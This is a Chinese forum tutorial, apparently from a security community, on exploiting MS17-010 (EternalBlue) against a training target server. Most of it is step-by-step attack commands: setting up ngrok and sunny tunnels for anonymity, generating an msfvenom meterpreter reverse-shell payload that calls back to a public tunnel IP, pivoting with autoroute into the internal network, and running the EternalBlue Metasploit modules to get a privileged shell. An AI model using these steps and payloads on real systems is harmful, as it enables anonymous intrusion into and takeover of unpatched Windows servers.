Ms17-010进行WEB提权之实践下某培训靶机服务器

前言：该机器为某个其他培训机构的靶机，说实话在这里没炫耀啥，只是给各位学习Ms17010的同学指一条路，我原先也折腾这玩意儿好久，但是就是不行，最近才找到了出路，所以多写两篇文章，把各种需要注意的地方，一步，一步写清楚，文章如果看不懂？那写出来的意义何在？

ngrok与sunny都是匿名的好东西，此次攻击全程在kali下面完成，无需公网，并且使用的代理转发，都是一次性，So？下面开始

准备工作

1.Kali一台

2.ngrok账户注册：https://dashboard.ngrok.com/user/signup

3.sunny账户注册：https://www.ngrok.cc/

开始操作

1.开启Kali并且运行Msf

2.注册账户https://dashboard.ngrok.com/user/signup（用谷歌账户，或者git账户登陆就行了。）

下载:https://bin.equinox.io/c/4VmDzA7iaHb/ngrok-stable-linux-amd64.zip

然后解压得到：

接着。

红色圈中填写就是

填写好了之后，回车，自动生成了一个 yml 的配置文件。

接着开始转发：

[HTML] [color=rgb(51, 102, 153) !important]纯文本查看 [color=rgb(51, 102, 153) !important]复制代码

[backcolor=white !important][color=white !important][color=white !important]?

 

得到了之后我们继续下一个 sunny的。

（PS：这里解释一下，我们目前需要两个端口转发工具的原因就是因为ngrok不支持同时转发两个，因为要 付费 付费 付费。所以我们需要sunny来弄，但是也需要10块钱！！！！）

然后 sunny的用法。

1.购买

2.结果

设置

本地转发地址：127.0.0.1

本地转发端口：4444

3.下载

http://hls.ctopus.com/sunny/linux_amd64.zip

一般都安装的 Kali 64位吧？就上面那个下载

解压后得到

4.运行

./sunny cilentid 隧道ID（就上图黑色部分那个）

5.结果

开始正式渗透：

当前进程：

转发内网6666端口到外网

转发内网4444端口到外网

正式工作

ping ngrok的IP

得到了这个IP：52.14.61.47（记得，不要关闭了ngrok，一旦关闭IP和端口又会改变。匿名性较高。）

端口，下面要填写的

然后msf生成木马

msfVENOM -p windows/meterpreter/reverse_tcp LHOST=填写ngrok的IP地址就上面的 LPORT=这里填写ngrok后面的端口 -f exe > /var/www/html/4444.exe

完成之后的格式

msfvenom -p windows/meterpreter/reverse_tcp LHOST=52.14.61.47 LPORT=15838 -f exe > /var/www/html/4444.exe

shell端上传运行4444.exe

结果图

得到了shell之后，我们看一下当前权限

NT AUTHORITY\NETWORK SERVICE（User权限）

现在跟着下面步骤走：

第一步：run get_local_subnets（获取当前的路由）

Local subnet: 10.0.0.0/255.0.0.0

Local subnet: 169.254.0.0/255.255.0.0

第二步：run autoroute -s 10.0.0.0 -n 255.0.0.0（添加路由地址）

第三步：run autoroute -p（查看是否添加成功）

第四步：

background（置当前sessions到后台，我们去调用payload）

use exploit/windows/smb/ms17_010_p**ec（因为这台服务器是 Windows 2003所以要用这个，如果是2008和win7，则用下面）

use exploit/windows/smb/ms17_010_eternalblue（适用 Windows 2008 Windows 7）

第五步：sessions l 然后 sessions 3（刚才background到了后台的shell用sessions重新调出来）

第六步：ipconfig（查看当前服务器的内网IP）

然后：ctrl+c 输入 Y 退出shell模式。

再输入：background 调到后台

第七步：set rhost 内网IP（设置要攻击的IP地址）

第八步：这回要用到sunny。（按照上面的ngrok一样，ping出IP地址，然后得到后面的端口）

接着回到咋们的msf

set payload windows/meterpreter/reverse_tcp

set lhost ping出来的IP（这里填写的不是ngrok的，是sunny的ping出来的IP地址）

set lport sunny的外网端口

最终结果

第九步：新开一个msf窗口，（用来接返回的shell）

lhost本地IP：127.0.0.1

监听端口：6666

第十步：回到刚才msf窗口，。

执行：exploit（开始攻击）

可以看到，攻击机这边提示没有获取到session，但是我们的另外一个msf缺接收到了shell

有问题大家可以留言哦，也欢迎大家到春秋论坛中来耍一耍  >>>点击跳转